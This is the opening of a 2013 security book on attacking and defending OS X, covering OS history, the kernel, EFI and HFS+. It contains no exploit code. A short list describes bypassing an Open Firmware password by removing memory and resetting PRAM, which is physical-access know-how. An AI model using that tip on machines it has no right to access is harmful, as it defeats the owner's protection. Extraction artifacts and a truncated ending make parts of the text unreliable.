The Hacker's Guide To OS X Hackers Exploiting From Root Up 2013

User Manual:

Open the PDF directly: View PDF PDF.
Page Count: 249 [warning: Documents this large are best viewed by clicking the View PDF Link!]

The Hacker’s
Guide to OS X
This page is intentionally left blank
The Hacker’s
Guide to OS X
Exploiting OS X from
the Root Up
Rob Bathurst
Russ Rogers
Alijohn Ghassemlouei
Pat Engebretson,Technical Editor
Syngress is an Imprint of Elsevier
Acquiring Editor: Chris Katsaropoulos
Editorial Project Manager: Meagan White
Project Manager: Priya Kumaraguruparan
Designer: Russell Purdy
Syngress is an imprint of Elsevier
225 Wyman Street, Waltham, MA 02451, USA
Copyright © 2013 Elsevier, Inc. All rights reserved.
No part of this publication may be reproduced or transmitted in any form or by any means,
electronic or mechanical, including photocopying, recording, or any information storage and
retrieval system, without permission in writing from the publisher. Details on how to seek
permission, further information about the Publisher’s permissions policies and our arrange-
ments with organizations such as the Copyright Clearance Center and the Copyright Licensing
Agency, can be found at our website:
This book and the individual contributions contained in it are protected under copyright by the
Publisher (other than as may be noted herein).
Knowledge and best practice in this eld are constantly changing. As new research and experi-
ence broaden our understanding, changes in research methods or professional practices, may
become necessary. Practitioners and researchers must always rely on their own experience and
knowledge in evaluating and using any information or methods described herein. In using such
information or methods they should be mindful of their own safety and the safety of others,
including parties for whom they have a professional responsibility.
To the fullest extent of the law, neither the Publisher nor the authors, contributors, or editors,
assume any liability for any injury and/or damage to persons or property as a matter of products
liability, negligence or otherwise, or from any use or operation of any methods, products,
instructions, or ideas contained in the material herein.
Library of Congress Cataloging-in-Publication Data
Application submitted
British Library Cataloguing-in-Publication Data
A catalogue record for this book is available from the British Library.
ISBN: 978-1-59749-950-7
Printed in the United States of America
13 14 15 10 9 8 7 6 5 4 3 2 1
For information on all Syngress publications visit our website at
FOREWORD ............................................................................................... ix
CHAPTER 1 Introduction ........................................................................ 1
Why You are Reading This Book? ................................................1
What is Contained Within the Guide? ....................................2
The Path Ahead ............................................................................4
References .....................................................................................4
CHAPTER 2 History and Introduction to OSX ...................................... 5
History and Introduction to OSX .................................................5
OSX Origins ...............................................................................5
Common Misconceptions .........................................................9
Perceptions ..............................................................................11
Capabilities .............................................................................11
Environments Leveraging OSX .............................................12
What Next?..............................................................................16
CHAPTER 3 The Filesystem ................................................................. 17
Introduction .................................................................................17
What is a File System? ................................................................17
The Difference Between Memory Types ..............................18
Partition Tables ....................................................................... 19
Booting ....................................................................................22
Working up to HFS+ ...................................................................24
How a File System Works ......................................................25
Disk Fragmentation ................................................................27
The File System Forefathers .................................................. 28
HFS Plus ....................................................................................... 34
Journaled HFS .........................................................................35
MetaData ................................................................................. 36
Understanding Forks .............................................................. 38
Fiddling with the File System ....................................................41
vi Contents
Playing with Attributes ..........................................................41
Hidden Files ............................................................................43
Conclusion ...................................................................................46
CHAPTER 4 Footprinting OSX ............................................................. 49
Introduction .................................................................................49
Off the Client ...............................................................................50
On the Client ...............................................................................69
Conclusion ...................................................................................77
CHAPTER 5 Application and System Vulnerabilities ......................... 79
Introduction .................................................................................79
Understanding Vulnerabilities ................................................... 79
Vulnerabilities are Equal Opportunity .................................. 83
History of Vulnerabilities in Apple Products ............................85
Mac OS X Specific ...................................................................86
A Recent Example—Flashback .............................................88
Apple iOS Specific...................................................................91
Advanced Persistent Threats ................................................94
Apple Script .............................................................................95
Conclusion .............................................................................100
CHAPTER 6 Defensive Applications ................................................. 101
Introduction ...............................................................................101
Secure Configurations ..............................................................102
Passwords, Passphrases, and Multi-Factor
Authentication ......................................................................102
Account Access Restriction .................................................103
FileVault ................................................................................106
Firewall Configuration .........................................................108
Network Services ..................................................................111
Kernel Extension Removal .......................................................114
Examining Commercial Tools ..................................................117
PrivacyScan by SecureMac ..................................................117
MacScan by SecureMac ........................................................124
Conclusion .................................................................................135
CHAPTER 7 Offensive Tactics ........................................................... 137
Introduction ...............................................................................137
The Exploits ..........................................................................139
Using the Ammo in the Weapon .........................................143
Summary .................................................................................... 156
References .................................................................................157
Contents vii
CHAPTER 8 Reverse Engineering ..................................................... 159
Introduction ...............................................................................159
The Basics..................................................................................160
Coding ...................................................................................161
Decompiling Journey ............................................................166
Analysis Techniques ............................................................182
References .................................................................................183
CHAPTER 9 Mobile Platforms ............................................................ 185
Introduction ...............................................................................185
Apple iOS Security Model and Overview ................................186
Insecurity Overview .............................................................189
The Goods .............................................................................198
Please Don’t Hurt My Toys ..................................................203
Summary .................................................................................... 204
References .................................................................................205
CHAPTER 10 Mac OS X Tips and Tricks ............................................. 207
Introduction ...............................................................................207
Web Browser Plugins ...............................................................207
Offensive Plugins ..................................................................208
Defensive Plugins .................................................................219
Cool OS X hacks .................................................................... 223
Safari Debug Mode ...............................................................223
Total Mac OS X Inversion.....................................................224
More on ACP Applications...................................................225
Conclusion .................................................................................228
INDEX ...................................................................................................... 229
This page is intentionally left blank
As I write this, I’m contemplating the evolution of Apple/Mac, and the progress
made around protecting Apple products. Mac systems have gained in market
share over the last few years, and you can’t argue with the amount of exibility
and pure performance power you can get out of the Mac. The late Steve Jobs
and his team have developed outstanding products that I too have grown to
depend on for my business and personal use. For the longest time I was anti-
Mac. I couldn’t justify in my mind the additional cost, the attitude” of the Mac
crowd, or that there was any chance it was that much better of a product. I was
wrong. There is a reason that Apple products have been so popular. They are
built to perform, and built to be easy to use.
But along with that popularity comes risk. Nothing can be 100% secure, and as
Apple’s market share has grown, so has the threat to their products. Unfortu-
nately complacency has grown to a point where most users expect the Mac to
be perfectly secured. And, therefore, the growth of the security of Mac OS has
been lagging.
It is my belief that this situation must rapidly change, and does appear to be
changing. The largest known Mac attack to date (2012) is the Flashback mal-
ware, which is estimated to have infected over 600,000 machines. In response
to Flashback, Apple took an entirely new approach, and for the rst time they
were open about how they were addressing this malware issue. While their
response method is a topic of debate in security circles, it was still an evolution
from how they addressed any previous security issues that have been identied.
We also cannot forget about the technology breakthroughs that we lovingly
call the iPhone, iPad, and any other products that run the Apple iOS. These
devices have become the mobile computing platforms that we take with us
everywhere. Apple’s security, related to iOS, is considered fairly solid, but that
doesn’t mean it will remain that way. Any devices using the iOS are targets for
exploitation, and as security holes are discovered, there will be further attempts
to take advantage of those vulnerabilities.
This book gives you a strong foundation for securing your MAC OSX and iOS,
and it gives you techniques for bettering your platforms for future protections.
Take advantage of this information and protect yourself.
The bigger the target, the bigger the threat, the more likelihood of occurrence
AND the necessity of demonstrating responsibility to the consumers of their
Greg Miles, Ph.D., CISA, CISSP, CISM
Peak Security, Inc.
The Hacker’s Guide to OS X.
© 2013 Elsevier, Inc. All rights reserved.
Why You are Reading
This Book? ...................1
What is Contained Within
the Guide? ..........................2
Chapter 1: The Introduction ..... 2
Chapter 2: OS History ................ 2
Chapter 3: The Filesystem ........ 2
Chapter 4: Footprinting OSX .... 2
Chapter 5: Application and
System Vulnerabilities ............... 3
Chapter 6: Defensive
Applications ............................... 3
Chapter 7: Offensive Tactics ..... 3
Chapter 8: Reverse
Engineering ................................ 3
Chapter 9: Mobile Platforms ..... 3
Chapter 10: Tips, Tricks, and the
Future ......................................... 3
The Path Ahead ..........4
References ...................4
n Why You are Reading this Book
n What is Contained Within this Guide
n The Path Ahead
The question in the large heading print may strike you ask, “Yes, why am I reading The
Hackers Guide to Mac OSX?” Perhaps it was the word hackers, perhaps you picked it
up at random, or perhaps you own an Apple product and suddenly grew concerned
that there might be bad people doing bad things to your precious iSomething. Well
rest assured, reader, that this book does not contain new vulnerabilities, exploits, or
chapters of shellcode. The Hackers Guide to Mac OSX is here as a learning tool for
students, professionals, and the curious reader to better understand the realm in which
they are venturing forth. But, why should anyone care about testing the security of a
company who commands such a small share of the over all pc market with less than
15%1 [1]?
I’m glad you asked. Apple products, in terms of pc market share are indeed
small, but their mobile platforms such as the iPad and iPhone account for
commanding portions of the mobile device market and their pc share continues
to grow annually. What this means for us as security professionals is that we
will continue to see iOS and OSX use continue to grow in both consumer
CHAPTER 1: Introduction
and business sectors, and we must be able to properly assess the potential
vulnerabilities of those systems.
What is Contained Within the Guide?
The Guide contains tools, tips, and techniques from our experiences as
professional penetration testers and Apple enthusiasts to help you, the reader,
gain a better understanding of the mindset needed to analyze Apple products
from a security perspective. While there are many books available on how to
think like a penetration tester, hacker, attacker, or generally aggressive person,
there are a lack of books bridging the gap between the high level (This is how to
turn on an Apple product) and the low level (Look at my awesome 1s and 0s).
The following chapter listings have a brief synapses for each chapter, enjoy.
Chapter 1: The Introduction
You are reading it.
Chapter 2: OS History
The OS History chapter, much like its title suggests, is focused on the history
and progression of the various Apple operating systems from OS8 through
OSX 10.7. We will walk you through the significance of the legacy operating
systems and how they relate to the design choices of the underlying systems
such as Coca and EFI under the current OSX. In addition, the reader should
understand that Apple is releasing its Mountain Lion version of OSX in August
of 2012, which includes other changes that could impact the way you use your
computer, including changes to the way the OS integrates X11 functionality.
Chapter 3: The Filesystem
In the Filesystem chapter we will cover HFS/HFS+ and how the filesystem
provides an abstraction layer to the user. We will also cover the organization of
the filesystem, including inodes and file caching.
Chapter 4: Footprinting OSX
Footprinting is a crucial piece of the recon process during a penetration test
and offers valuable information such as open ports and OS versions. This
information will allow you to narrow your possible payload choices and know
when it is possible to use a remote exploit. We will show you how fingerprint
an OSX machine, and what it looks like to industry tools such as NMap,
Nessus, Metasploit. We will also provide advice on what useful and valuable
information to look for in the output.
Why You are Reading This Book? 3
Chapter 5: Application and System Vulnerabilities
Now we get to the part everyone loves, how and what to break. In this chapter
we will take you through targeting applications, how the applications interact
with the operating system, exploiting vulnerable applications, code compiling,
and much more.
Chapter 6: Defensive Applications
Every good offense needs a good defense, or something like that. While we
focus on the weaknesses of the operating system and applications we must also
know what we are facing as the system and users attempt to defend themselves.
We will cover Firevault implementation, the built-in OSX firewall, anti-virus
suites, kernel security, and pesky things users do to keep themselves safe.
Chapter 7: Offensive Tactics
We showed you how to break what was not meant to be broken, now we
sharpen that mentality by showing you how to maintain presence and navigate
through the system. This chapter covers modifying the kernel and drivers, com-
mand line tools (they help system admins, they help us too), pivoting from
Metasploit through an OSX system, and attacker centric scenarios.
Chapter 8: Reverse Engineering
Reverse Engineering is a complex skill and we will not claim that this chapter
will teach you how to be the world’s greatest vulnerability finder, but what we
will do is teach you to think about what happens to an application when it has
a glitch. We will show you assemblers, compilers, reflectors, and basic fuzzing.
If this sounds like we just made up a bunch of words, fear not, they all mean
Chapter 9: Mobile Platforms
Everyone loves the iSomething; hordes of people across the globe carry an iOS-
based device with them every day and contained on these devices are untold
amounts of personal information. We will look at the architecture of iOS,
security implications, iOS signing, footprinting, and jailbreaking.
Chapter 10: Tips, Tricks, and the Future
This is the gift for all those who waited, or those of you who just skipped to the
end of the book. Contained within these pages is all the information we could
not fit into the other chapters, fun projects such as the Hackintosh, and handy
reference lists for ports and processes.
Now that you are as excited to read this book as we were to write it; we will
offer some tips to help you as you move though the text. As you read through
this book you will notice helpful tips in the sidebar and notes or references
contained in the footer. Taking the time to review and read over these bits
of extra information will help you to further understand the concepts we are
discussing. We will often reference a website, whitepaper, or book that contains
more information on the current topic than we can fit into the pages of the
book and recommend browsing those resources should you wish to expand
your knowledge.
4CHAPTER 1: Introduction
The Hacker’s Guide to OS X.
© 2013 Elsevier, Inc. All rights reserved.
History and Introduction to OSX
History and
Introduction to OSX ....5
OSX Origins ........................5
A Byte of History ....................... 5
Common Misconceptions ..9
Better for Designers/Creative
People ......................................... 9
Secure ....................................... 10
Perceptions .......................11
Capabilities ......................11
Environments Leveraging
OSX ...................................12
Home ........................................ 12
Business ................................... 13
Security..................................... 14
Virtualization ............................ 14
Mobile Expansion .................... 14
What Next? ......................16
As a technical reader, I’ve always managed to devour technical books; often col-
lecting them like some people collect bottle caps. In most of those books there
is always a chapter on history, often full of dry, boring material that has limited
relevance to the remainder of the book. Because of this, I’ve gotten into a habit
of skipping these chapters on a routine basis.
However, with this publication, the history of how Apple came to the point of
creating the OS X operating system has tremendous value to the remaining chap-
ters. In the interest of fairness, and to alleviate the painful yawning, I’ve slimmed
the content in this chapter down to just those concepts that will be the most use-
ful to you as the reader. While it may be a shorter chapter, it will most certainly
carry its value with rich, juicy tidbits of information, instead of the usual bland
and boring history lessons we’ve all studied in the ancient textbooks.
OSX Origins
A Byte of History
Since this book is focused on OSX, the following sections will be rather tar-
geted; not repeating the same Apple story we’ve all heard a dozen times. The
goal here is not to create Apple zealots or fan boys, it’s to provide relevant
information so that you, as the reader, can form well-rounded opinions and
decisions regarding the technical work that will be done.
Apple Computers was originally founded by Steve Jobs and Steve Wozniak on
April 1st 1976, when they released the Apple I computer. By 1985, Steve Jobs
had been ousted from Apple after a conflict with then CEO, John Sculley. When
he left, Jobs founded a new company named NeXT, Inc., which was later split
into two and renamed NeXT Computer, Inc. and NeXT Software, Inc. The new
companies built computers, and an operating system, called NeXTStep, which
was later used to invent the World Wide Web (WWW), by Tim Berners-Lee.
CHAPTER 2: History and Introduction to OSX
NeXTStep was built on top of a relatively unknown micro kernel architecture
from Carnegie Mellon University, along with source code from the Berkeley
Software Distribution (BSD). The end result was not an actual microkernel,
but ended up much closer to the more familiar monolithic kernel most mod-
ern operating systems use. So looking back in hindsight, it’s not really a huge
surprise to find out that when Apple acquired NeXT in 1997 and brought Steve
Jobs back as CEO of the company, that Apple began using the NeXTStep oper-
ating system as the foundation for what would eventually become the Mac OS
X operating system we use today.
There are actually multiple components to the NeXTSTEP kernel itself. The
kernel was comprised of version 2.5 of the Mach kernel and components of
4.3BSD, on top of which there was an object oriented API for writing driv-
ers called Driver Kit. When Apple purchased NeXT the OS was revamped, the
Mach component was upgraded to version 3.0 and code was used from the
FreeBSD project to update the BSD sub-system. Driver kit was also replaced
with what is now known as I/O Kit which is a C++ API for writing drivers. This
kernel as it currently stands today is known as XNU. XNU is an acronym which
stands for X is not Unix.
While Mach is a microkernel and technically allows running the various ker-
nel responsibilities in separate programs in user space this generally leads to
tremendous slowdowns and can be detrimental to having a fast speedy OS. The
entire BSD subsystem was bolted on top of Mach to make what many would
consider a hybrid kernel, although a lot of people dismiss that as merely mar-
keting speak.
Mach provides many of the basic building blocks for an operating system;
message passing, threading, virtual memory, kernel debugging support, and
a console. The BSD subsystem provides the rest, a Unix process model (on
top of Mach tasks), security policies, user id’s, group id’s, permissions, virtual
file system support (allowing multiple file systems to be supported easily), a
cryptographic framework (used extensively for Keychain, encrypted disks, and
others), MAC (mandatory access control), and a whole range of other func-
tionality, most importantly an POSIX compatible API.
The code for the BSD subsystem comes from the FreeBSD project, and Apple
has, in the past, attempted to synchronize the API’s that it exports to those
that are available in FreeBSD, the last of such synchronizations was made with
FreeBSD 5.1 There is quite a bit of code that Apple shares with FreeBSD and
vice-versa and various efforts to bring Apple code back to FreeBSD have sprung
History and Introduction to OSX
up in an attempt to take the best of what XNU has to offer back to the OS it
came from.
The XNU kernel, along with various other tools and utilities, is what constitutes
an operating system named Darwin.2 Darwin can be considered a stand-alone
OS, and there are various efforts to create a fully functioning OS, however it is bet-
ter to consider it simply the underlying basis for Mac OS X. Some of the technol-
ogy will sound familiar to those familiar with other open source projects, Darwin
has used source from various projects such as GCC, GDB, Apache, Python and
many others and, when needed, modified them to fit within their operating sys-
tem (including many modifications to GCC and GDB to support Mach-O, the
binary format much like ELF and PE on Linux/BSD and Windows respectively).
Darwin is open-source and available from Apple, however it is missing many
critical components that would make it Mac OS X, notably Quartz, Apple’s
windowing system, Coca, Carbon, and many of the libraries such as CoreAu-
dio, CoreImage, CoreAnimation, and many other important libraries that have
yet to be mentioned. Now that we’ve got a grasp on what’s going down when it
comes to a general history with some kernel tidbits, lets jump deeper into the
architecture of the processor itself.
PowerPC Architecture and Transition to Intel
Prior to Apple’s adoption of Intel, PowerPC (PPC) reigned supreme. PowerPC
stands for Performance Optimization with Enhanced RISC and was devel-
oped by an alliance between Apple, IBM and Motorola back in 1991. Apple
began the integration of PowerPC processors into their Macintosh line in 1994
all the way through to 2006. But Apple felt that IBM’s platform was not meet-
ing the requirements Apple wanted to see in their future devices. In short, PPC
was moving too slow. IBM wasn’t able to deliver promises for faster chipsets,
more efficient power consumption, and Apple pulled the trigger.
The transition to the Intel chipset on a software level took considerably less time
than one would imagine. Specifically, with the release of OSX 10.5 (Leopard),
Apple began support for both chipsets, shortly followed by 10.6 (Snow Leop-
ard), which introduced the 64 bit architecture and began dropping support for
PPC. Snow leopard allowed the end user to install an application called Rosetta
to run certain outdated PPC applications, however, with did not allow installa-
tion onto PPC systems. And finally, with the release of 10.7 (Lion), Apple axed
the PPC applications altogether, as they expected developers to have already
upgraded their applications, given the previous four years of migration time.
CHAPTER 2: History and Introduction to OSX
So what are the benefits other than speed, cost, power consumption, and wide-
spread adoption of the Intel chipset? Plenty of things come to mind given that
question; emulation, virtualization, vast operating system support, directx sup-
port, easier code transitioning with OpenGL to name a few. With this chipset
OSX was able to run many different operating systems far easier than before,
without having to install PPC specific versions. The adoption of Apple hard-
ware was definitely improved due to this change, Windows users were more
comfortable knowing they could always fall back, newer Linux/Unix users had
an easier time installing their favorite distros. At this point we can begin to pull
back to review some information on EFI and Open Firmware and how it all
relates back to OSX.
Prior to what Apple currently ships, (Extensible Firmware Interface (EFI))
Open Firmware was the standard. Open Firmware allows the system to load
platform-independent drivers directly from the PCI card, improving compat-
ibility and whatnot. Below I’ve gone ahead and listed out a few of the original
security concerns regarding Open Firmware:
n On a PowerPC-based Macintosh, the Open Firmware interface can be
accessed by pressing the keys Cmd+Option+O+F at startup.
n Vulnerability allowed passwords to be disclosed to users via tool called
n Passwords can be removed completely by removing DIMMs and reseting
PRAM 3 times.
n Single user mode can be entered via holding down the s key.
So back to the relevant subject at hand. EFI has been around for quite some
time (early 1990s). However, Apple announced its EFI adoption in mid 2005
and shipped devices with EFI support out in 2006. So what exactly is EFI? It’s
nothing more than the common BIOS interface you may already be famil-
iar with, but with shell capabilities. And while it may not have such an easy
interface as the old school IBM type BIOS’, it does have its advantages. CPU
independent architecture and drivers, flexible preboot OS with network sup-
port, modular, and 3TB HDD booting support are just a few cool things under
the hood.
After all this is said and done, who really cares? Well, as the end user, this is a
critical element in regards to futzing (read hacking) with the machine. There is
a small partition to store files, one can set boot priority, change permissions in
single user mode, load kernel extensions and have tons of fun just in this one
area. At any rate, the next item is the file system itself!
File System—HFS+
OSX utilizes HFS+ for its file system, HFS Plus is also referred to as “Mac OS
Extended” within the OS itself when partitioning the drives. It is the successor
to Apple’s older HFS file system, Hierarchal File System. The primary differ-
ences between the two are 16 bit vs 32 bit block addresses and Mac OS Roman
vs Unicode support. The newer of the two file systems resolved one of the
larger problems with the older file system; mainly that the allocation map-
ping was 32 bit thus allowing for more efficient use of space within the hard
drive itself. OSX has full support for HFS while Linux and FreeBSD carry partial
support with certain packages for read-only access. Other distributions require
third party applications.
Common Misconceptions
Mac vs PC; which platform do you prefer? In an attempt to stand out from the
market Apple has branded its systems as “Mac” as compared to the remainder
of the market which we call PC’s. Let’s go out on a limb here and say that Macs
are truly no different than PC’s because they are PCs! The definition of a PC
is a personal computer, right? Apple has done a wonderful job marketing its
brand, and thus adequately confused and segregated many end users.
OSX is nothing more than another platform. Sure it has support for a limited
set of hardware (Apple Hardware) so it will perform smoothly, it has a differ-
ent user interface and much like any operating system, some unique features
to set it apart from the rest of the market. Since Apple’s gone ahead with this
brilliant marketing strategy, how exactly does the larger public view OSX or
Apple hardware in general?
Better for Designers/Creative People
While Apple has developed software targeting this audience (Aperture, Final
Cut Pro) the industry also has plenty of other choices when it comes to video
editing (Avid) and since Adobe has made their suite cross platform there is
no legitimate reason for saying that OSX is better for designers and creative
Bootcamp Windows drivers allow HFS+ partitions to be read whether one is attacking or
defending it is important to understand the underlying file system otherwise time will be spent
attempting to resolve an issue that could’ve been avoided altogether.
History and Introduction to OSX
CHAPTER 2: History and Introduction to OSX
people alike. But, you could say that since Apple enjoys making things mini-
malistic and easy to use it would be more attractive to those who are not
During the PowerPC era portions of the public/industry began touting Apple’s
operating systems as secure. Early on Apple’s operating system didn’t play
nicely with the processors that Microsoft Windows supported. When any oper-
ating system has a large portion of the market, most malware writers will focus
their efforts on that OS. With a different architecture, malware authors now
need to go the extra step and either modify or rewrite their code to execute
on Apple’s operating systems. Up until recently that wasn’t worth their time.
The adoption of the Intel architecture has made it easier to port code over, so
recently we have seen backdoor type trojans ported from Windows and other
platforms over to OSX.
With the luxury of the smaller market share for quite some time now OSX
has skirted by for the most part unscathed, it has had its share of vulnerabil-
ities much like any piece of software. Apple’s regular PR response approach
doesn’t really fit well with current security practices; this approach being a
very slow, well thought out response. With the release of 10.6 (Snow Leop-
ard) we saw the introduction of a bare-metal anti-malware system loosely
integrated within the OS. This feature was slipped in and tended to be irregu-
larly and silently updated while only identifying known malware via known
Apple did not directly acknowledge any security concerns, but even within the
documentation provided on their website Apple promoted the use of third
party antivirus software; even though their earlier advertising never addressed
the issue. Much like any subject, there are individuals who aren’t as informed as
they should be on subjects they speak to. For example, “OSX is secure because
it’s Unix.” Other than the blatant disregard for logic there, that statement has
some validity but not much. Sure it’s got the advantage of the underlying arch-
itecture being Unix-like but it is far from true Unix.
Unix, or any other operating system, has vulnerabilities, and OSX is no excep-
tion to that rule. Currently, Offensive Security’s exploit database has approx-
imately 120 usable exploits between 2003 and 2011. Again, this is nothing
compared to the number Windows exploits which weigh in at a whopping
3,480 exploits within the same window of time. But bear in mind the market
share and attack surface Windows occupies, compared to Linux or OSX. Now,
Linux isn’t too far off here with a total of 640 pieces of shellcode available to
the public. With this slightly more informed perspective, let’s take a look at
how the larger population views Apple and its products.
With the release of iCloud, Apple has leveled the playing field when it comes to
devices. They have claimed that OSX is just another device, it is just as impor-
tant as your mobile devices (iPhone, iPod, iPad). Why does this matter? Even
with MobileMe, iCloud’s predecessor, major device syncing was done through
iTunes on your computer. That data was then stored there and remained there
until you deleted it. The focus has shifted to dare I say… THE CLOUD and with
that, so has the data. Let’s be honest, the data is what we care about, users need
it and attackers want it.
Apple has shifted its focus to the consumer and prosumer markets; the enter-
prise is an afterthought as it currently stands. Dropping the XServe line back in
2008 and standardizing their notebook line, blurring the distinction between
consumer and professional grade MacBook laptops. One could say that Apple
hardware is nothing more than designer technology. Apple’s mobile platform
has had more of the enterprise treatment than OSX has had. This is made clear
via Microsoft Active Sync support, configuration profiles, separate app store for
in-house corporate applications, and a flurry of other fun things. BlackBerry
has held the business market for quite some time, and iOS and Android are
now giving RIM a dangerous run for its money. Readjusting the focus back
onto OSX we’ll cover some of the capabilities that the OS itself has.
OSX is just another operating system, Apple merely has a tighter grip on its
hardware, making for a smoother end user experience. There’s no real need
for every driver under the sun, as it already has more efficient battery control,
standardized trackpads for gestures, and plenty more.
On a software level, the following items set OSX apart right off the bat, as they
are not available on any other platform.
n XSAN for distributed storage over fiber channel.
n Aperture for professional photography management similar to Adobe
n Final Cut and Logic Studio focusing on the audio and video industries.
n iLife, iWork, both directly relating to their target audience. iLife is a bun-
dle of applications (iPhoto, iWeb, Garage Band, iMovie) for the average
The Apple tax is a term that is associated with the markup of products where they are over-
priced when compared to their spec’d out counterparts.
History and Introduction to OSX
CHAPTER 2: History and Introduction to OSX
user to be able to handle the creative side of the house. You also have
iWork (Pages, Keynote, Numbers) for the office related stuff.
The items listed are Apple developed products. You still have Microsoft
office and a variety of other choices for applications. Much like any other
operating system there will be hundreds of thousands of applications or
little things that one operating system has over the other. For instance, OSX
Server in its latest form has been dwindled down to an additional package
that can be downloaded to convert the standalone 10.7 install into a server.
It’s certainly not a novel concept but again we can see Apple targeting the
prosumers more with the no brainer configuration and setup. Address book,
file sharing, calendars, chat, mail, podcasts, time machine backups, VPN,
web server, and wiki functionality are all baked into the server instance itself.
The one thing that really stands out for security folks is the BSD-Unix-like
backend, where we can compile, install, and run all those applications we all
know and love from the Linux and Unix worlds. Macports and Homebrew
are applications that allow for easier package management, instead of having
to manually install everything yourself. Not only can you run all those awe-
some commands, the services are usually there as well. The config files will
be in slightly different locations, and certain daemons won’t be running by
default, but with a little digging online it’s easy to pick up and tweak to your
hearts desire.
In the following section you’ll note how OSX is being utilized in different areas.
Environments Leveraging OSX
Within the home environment the operating system has certainly come a long
way since the early days of OS8 and OS9. I like to think this can be primar-
ily attributed to the adoption of the Intel chipset around the time 10.5 was
released. Combine that architecture with Apple’s simplification of its user
interface and minimalistic attitude and the end result is something everyone
can use. We see the elderly migrating to OSX for the user support that Apple’s
one-to-one service provides, giving them training on how to use their devices
and the applications within them. Technology is not something everyone is
DISA even releases security configuration guidelines to secure the platform that can be found
comfortable with and having physical stores with informed individuals there
to help makes it an attractive environment.
There is also the more recent iOS environment helping bring new users to
the Apple ecosystem. Specifically, the syncing service formerly known as
MobileMe, now known as iCloud, which ties their desktop/laptop world to
their mobile world via contacts, reminders, calendars, pictures, documents
and much more. The mobile market has got to be one of the largest reasons
for the recent wide spread adoption of OSX. The Apple ecosystem, much like
the Microsoft ecosystem, is very smooth, depending on how deeply you buy
into it.
One of the major benefits that has wrangled in many new users is the ease in
which they can boot back into familiar territory, usually Windows, with the
assistance of an application called Bootcamp. Bootcamp simplifies partition-
ing the hard drive and prepping the EFI for installation of another operating
system other than OSX. For example, hold down the option key during the
bootup process and choose which operating system you’d like to boot into!
Dead simple. This single application has semi-resolved the gaming issue that
Apple has been struggling with as developers are not willing to develop for
OSX as readily as they would be for Windows. Although Steam, an online
game platform with a large collection of games for purchase, has assisted in
this effort by providing a client for OSX users which opens up a small portion
of their gaming library.
The larger business community has been slow to respond to OSX, mainly due
to its lack of enterprise solutions for management. However, Apple has steadily
been adding in key features here and there even though this is currently not
Apple’s primary focus. There has been an increase with the newer generations
picking up OSX as opposed to the older folks sticking with Windows and more
widely used systems. Small startups are also beginning to roll out the operating
system, due to its ease of use and configuration.
We’ve seen pockets within businesses adopt OSX, but those pockets are usu-
ally concerned with identity (marketing, executives) and other creative areas
(design and art). The larger IT community doesn’t necessarily know how to
handle OSX, as it’s not as widely used as windows. So it remains an unknown
and is often misconfigured.
But although there has been a slow transition for OSX into the corporate
environment, on the mobile front we see rapid deployment of iOS devices
due to its current popularity. iOS again charges ahead, blazing a path for OSX
to follow.
History and Introduction to OSX
CHAPTER 2: History and Introduction to OSX
Due to the discontinuation of Apple’s server line (xServe) back in 2008, cou-
pled with various other reasons, there aren’t many real OSX servers deployed
in the field as popularity with the Mac Mini’s or Mac Pro’s increased over time.
Apple has for the moment disregarded the corporate environment in terms
of hardware.
Even with the latest release of 10.7 Apple has removed a separate server release
and any Mac OSX machine can act as a server with a simple package. While
IT doesn’t always know how to properly integrate OSX boxes into their exist-
ing servers, it’s not too difficult. Stand up a dedicated OSX server and point
your OSX boxes directly to it; then configure active directory to talk with open
directory and you’re all set, you have fine grain controls using existing active
directory users, groups, permissions and everything else!
A portion of the security community has embraced Apple hardware as more
Macbook Pro laptops are seen at security conferences; however, that is also
coupled with more OSX and iOS vulnerabilities. I like to imagine that research-
ers tend to use the platforms they exploit just because there is a greater level of
familiarity. You’ve also got the Unix-like backend with BSD influence so that
definitely helps with the ease of adoption. The addition of virtualization then
brings the reason for user adoption full circle.
With virtualization sweeping the entire industry, Apple hardware can now
easily support different operating systems running simultaneously on one
host. In the past you had to load and configure your own bootloader (rEFIT,
chameleon) and hope the operating system you were installing had the proper
drivers to either dual, triple, or quad boot the machine. However, VMware,
Parallel’s, and VirtualBox have leveled the playing field, allowing the average
user to virtualize any operating system their heart desires without leaving the
host operating system.
Mobile Expansion
Many attribute the success OSX has achieved primarily to the release of the
iPod. Others cite Apple’s migration from PPC to Intel. While there are end-
less possibilities, it’s difficult to single out one reason over the rest. The iPod
definitely had a large impact on how OSX was received and utilized. The iPod
was easy to use and OSX was a great companion.
The scroll wheel iPod introduced OSX to the desktop world. The iPod was
tethered to the desktop, having to sync with the operating system to add new
music and other content. The current generation iPod touch and iOS devices
now have liberated themselves from their desktop counterparts. This freedom
has come primarily from the severely modified Darwin OS, on which the plat-
form runs. Why does this matter one may ask? Well, the simplicity and ease of
use of iOS has lured many into Apple stores long enough for them to play with
the forbidden fruit that they’ve stayed away from for so long.
The mobile market is still new, and many individuals are not ready to cut
the umbilical cord with their desktops or notebooks. Enter cloud syncing
services; iCloud and MobileMe primarily. What the heck are these services?!
Calm down. These syncing services were established to maintain a set of data
across multiple devices simultaneously so each end user can ensure their
email is being sent to both their computer and their mobile device. Way back
when MobileMe was introduced it was offered at an annual subscription of
$100.00 USD. Apple struggled to deploy the service successfully with countless
outages and angry customers.
At any rate, in 2011 iCloud replaced MobileMe as Apple’s data syncing ser-
vice for end users and included a much simpler and consolidated preferences
menu. The main difference with iCloud and MobileMe was the way the data
was synced. With MobileMe it would sync every fifteen minutes and it could
sync everything. However, iCloud leverages Webdav and syncs every item as
soon as the user is finished interacting with it. Many users might not give these
services a second thought because they only have one Apple product and it
serves a single purpose. But much like Microsoft or even Google, everything
works seamlessly together if implemented correctly. Apple simplifies the pro-
cess so significantly that any non-technical end user can configure it painlessly.
With the OSX App store, Apple is attempting to replicate the success and sec-
urity that has thrust their iOS platform to the forefront of the mobile market.
The term “walled garden” has been thrown around, designating Apple’s strict
requirements and simple approach to application management and installa-
tion. This approach was attempted in the past and many attribute the closed
source approach with very limited options a reason for Apple’s past failures.
However, this walled garden has fostered a spectacular user experience that the
industry has been starved of for such a long time.
No operating system is without vulnerabilities and iOS is no exception, some
of the exploits that currently exist have been tweaked for jail-breaking purposes,
MobileMe was coined FailMe, because the service was so horrible, unreliable, and riddled with
History and Introduction to OSX
allowing the end user to install and modify the operating system without con-
cern for Apple or the App store itself.
Within this walled garden, there are those who are not happy with what Apple
provides, and tend to hop over the wall with the help of something called
jail-breaking, which allows for non-standard firmware to be installed on the
mobile device. This is achieved by leveraging known public exploits and pack-
aging it up for public consumption. This also tends to break Apple’s applic-
